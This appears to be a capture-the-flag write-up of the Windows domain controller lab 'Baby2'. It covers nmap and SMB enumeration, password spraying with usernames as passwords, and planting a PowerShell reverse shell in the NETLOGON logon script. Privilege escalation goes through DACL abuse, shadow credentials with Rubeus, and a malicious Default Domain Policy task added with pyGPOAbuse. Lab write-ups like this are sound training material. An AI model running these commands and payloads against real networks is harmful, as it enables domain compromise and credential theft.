Baby2

Name	OS	Difficulty	Creator
Baby2	Windows	Medium	XCT & r0BIT

Nmap Scan:

```
Nmap scan report for 10.10.125.204
Host is up (0.016s latency).
Not shown: 65523 filtered tcp ports (no-response)
PORT      STATE SERVICE    VERSION
53/tcp    open  tcpwrapped
135/tcp   open  tcpwrapped
139/tcp   open  tcpwrapped
445/tcp   open  tcpwrapped
593/tcp   open  tcpwrapped
636/tcp   open  tcpwrapped
| ssl-cert: Subject: commonName=dc.baby2.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
<unsupported>, DNS:dc.baby2.vl
| Not valid before: 2023-08-22T17:39:15
|_Not valid after:  2024-08-21T17:39:15
3269/tcp  open  tcpwrapped
| ssl-cert: Subject: commonName=dc.baby2.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
<unsupported>, DNS:dc.baby2.vl
| Not valid before: 2023-08-22T17:39:15
|_Not valid after:  2024-08-21T17:39:15
3389/tcp  open  tcpwrapped
| ssl-cert: Subject: commonName=dc.baby2.vl
| Not valid before: 2024-05-01T19:09:47
|_Not valid after:  2024-10-31T19:09:47
49664/tcp open  tcpwrapped
49667/tcp open  tcpwrapped
49678/tcp open  tcpwrapped
52934/tcp open  tcpwrapped
```

```
Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: -1s
| smb2-time:
|   date: 2024-05-02T19:12:34
|_  start_date: N/A

Service detection performed. Please report any incorrect
results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.76 seconds
```

SMB Enumeration

We can enumerate shares with the `guest` account using Netexec:

```
┌──(kali㉿kali)-[~/Documents/baby2]
└─$ nxc smb 10.10.125.204 -u guest -p '' --shares
SMB         10.10.125.204   445    DC               [*]
Windows Server 2022 Build 20348 x64 (name:DC)
(domain:baby2.vl) (signing:True) (SMBv1:False)
SMB         10.10.125.204   445    DC               [+]
baby2.vl\guest:
SMB         10.10.125.204   445    DC               [*]
Enumerated shares
SMB         10.10.125.204   445    DC               Share
Permissions     Remark
SMB         10.10.125.204   445    DC               -----
-----------     ------
SMB         10.10.125.204   445    DC               ADMIN$
Remote Admin
SMB         10.10.125.204   445    DC               apps
READ
SMB         10.10.125.204   445    DC               C$
Default share
SMB         10.10.125.204   445    DC               docs
SMB         10.10.125.204   445    DC               homes
READ,WRITE
SMB         10.10.125.204   445    DC               IPC$
READ            Remote IPC
SMB         10.10.125.204   445    DC               NETLOGON
READ            Logon server share
SMB         10.10.125.204   445    DC               SYSVOL
Logon server share
```

As we can see we have Read/Write for the `homes` share right now, but except some usernames we don't have something interesting in this share.

User.txt:

```
Amelia.Griffiths
Carl.Moore
Harry.Shaw
Joan.Jennings
Joel.Hurst
Kieran.Mitchell
library
Lynda.Bailey
Mohammed.Harris
Nicola.Lamb
Ryan.Jenkins
```

Within the apps share we can find a Changelog file that tells us that recently they added Domain Logon Scripts

CHANGELOG:

```
[0.2]

- Added automated drive mapping

[0.1]

- Rolled out initial version of the domain logon script
```

if we look into the NETLOGON share we can will find a login.vbs that contains the before mentioned logon script but sadly we can't write this share without another user.

login.vbs

```
Sub MapNetworkShare(sharePath, driveLetter)
    Dim objNetwork
    Set objNetwork = CreateObject("WScript.Network")

    ' Check if the drive is already mapped
    Dim mappedDrives
    Set mappedDrives = objNetwork.EnumNetworkDrives
    Dim isMapped
    isMapped = False
    For i = 0 To mappedDrives.Count - 1 Step 2
        If UCase(mappedDrives.Item(i)) = UCase(driveLetter &
":") Then
            isMapped = True
            Exit For
        End If
    Next

    If isMapped Then
        objNetwork.RemoveNetworkDrive driveLetter & ":", True,
True
    End If

    objNetwork.MapNetworkDrive driveLetter & ":", sharePath

    If Err.Number = 0 Then
        WScript.Echo "Mapped " & driveLetter & ": to " &
sharePath
    Else
        WScript.Echo "Failed to map " & driveLetter & ": " &
Err.Description
    End If

    Set objNetwork = Nothing
End Sub

MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"
```

Foothold

To get a valid user i just sprayed the user's with the usernames as password with netexec and found 2 Valid credentials:

```
┌──(kali㉿kali)-[~/Documents/baby2]
└─$ nxc smb 10.10.125.204 -u users.txt -p users.txt --no-
bruteforce --continue-on-success
SMB         10.10.125.204   445    DC               [*]
Windows Server 2022 Build 20348 x64 (name:DC)
(domain:baby2.vl) (signing:True) (SMBv1:False)
SMB         10.10.125.204   445    DC               [-]
baby2.vl\Amelia.Griffiths:Amelia.Griffiths
STATUS_LOGON_FAILURE
SMB         10.10.125.204   445    DC               [+]
baby2.vl\Carl.Moore:Carl.Moore
SMB         10.10.125.204   445    DC               [-]
baby2.vl\Harry.Shaw:Harry.Shaw STATUS_LOGON_FAILURE
SMB         10.10.125.204   445    DC               [-]
baby2.vl\Joan.Jennings:Joan.Jennings STATUS_LOGON_FAILURE
SMB         10.10.125.204   445    DC               [-]
baby2.vl\Joel.Hurst:Joel.Hurst STATUS_LOGON_FAILURE
SMB         10.10.125.204   445    DC               [-]
baby2.vl\Kieran.Mitchell:Kieran.Mitchell STATUS_LOGON_FAILURE
SMB         10.10.125.204   445    DC               [+]
baby2.vl\library:library
SMB         10.10.125.204   445    DC               [-]
baby2.vl\Lynda.Bailey:Lynda.Bailey STATUS_LOGON_FAILURE
SMB         10.10.125.204   445    DC               [-]
baby2.vl\Mohammed.Harris:Mohammed.Harris STATUS_LOGON_FAILURE
SMB         10.10.125.204   445    DC               [-]
baby2.vl\Nicola.Lamb:Nicola.Lamb STATUS_LOGON_FAILURE
SMB         10.10.125.204   445    DC               [-]
baby2.vl\Ryan.Jenkins:Ryan.Jenkins STATUS_LOGON_FAILURE
```

Credentials:

```
Carl.Moore:Carl.Moore
library:library
```

With the `library` user we can overwrite the login.vbs within the SYSVOL share and get a callback onto our responder but the hash from `Amelia.Griffiths` is not crackable using rockyou.

but we can get a reverse shell instead by adding `createobject("wscript.shell").run"Powershell -e BASE64....."` to the `login.vbs`:

```
Sub MapNetworkShare(sharePath, driveLetter)
    ...
End Sub

createobject("wscript.shell").run"powershell -e BASE64....."

MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\10.8.0.28\test", "L"
MapNetworkShare "\\dc.baby2.vl\docs", "L"
```

Privilege Escalation

With the bloodhound output that we can get with the library user we can see that Amelia has `WriteDacl` for the `GPOADM` user which has `GenericAll` on the Default Domain Policy

First we will give us (Amelia) GenericAll on the `gpoadm` Object and then get the shadow credentials with `pywhisker`

```
# Set Amelia as Owner
Set-DomainObjectOwner -Identity gpoadm -OwnerIdentity
amelia.griffiths


# Check if we are the Owner of the gpoadm Object
get-aduser gpoadm | ForEach-Object {Get-ACL
"AD:\$($_.DistinguishedName)" | Select-Object -ExpandProperty
Owner}

# Set Rights to all
Add-DomainObjectAcl -PrincipalIdentity Amelia.Griffiths -
TargetIdentity gpoadm -Rights All

# pywhisker
.\whisker.exe add /target:gpoadm /domain:baby2.vl
/dc:dc.baby2.vl /path:C:\windows\tasks\cert.pfx
/password:somepassword


.\Rubeus.exe asktgt /user:gpoadm
/certificate:C:\windows\tasks\cert.pfx
/password:"somepassword" /domain:baby2.vl /dc:dc.baby2.vl
/getcredentials /show
```

```
Output:

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=gpoadm
[*] Building AS-REQ (w/ PKINIT preauth) for: 'baby2.vl\gpoadm'
[*] Using domain controller: fe80::f73b:ea1a:e600:55c3%4:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      ...

  ServiceName              :  krbtgt/baby2.vl
  ServiceRealm             :  BABY2.VL
  UserName                 :  gpoadm
  UserRealm                :  BABY2.VL
  StartTime                :  5/2/2024 2:12:16 PM
  EndTime                  :  5/3/2024 12:12:16 AM
  RenewTill                :  5/9/2024 2:12:16 PM
  Flags                    :  name_canonicalize, pre_authent,
initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  pTKOekJzjFvViZk6FgCtVQ==
  ASREP (key)              :  AFBB6B5FD47C71C2CE569D3B73E6C409

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : 51B4E7AEE2FBDD4E36F2381115C8FE7A
```

After that we have `GenericAll` on all of the Domain GPO's and can simply add a scheduled task with a powershell reverseshell via `pyGPOAbuse`

```
python3 pygpoabuse.py baby2.vl/gpoadm -hashes
:51B4E7AEE2FBDD4E36F2381115C8FE7A -gpo-id 31B2F340-016D-11D2-
945F-00C04FB984F9 -powershell -command "powershell -e
BASE64....."
```

After we created the scheduled task we start a listener on the specific Port and run `gpupdate /force` on the `amelia.griffiths` shell.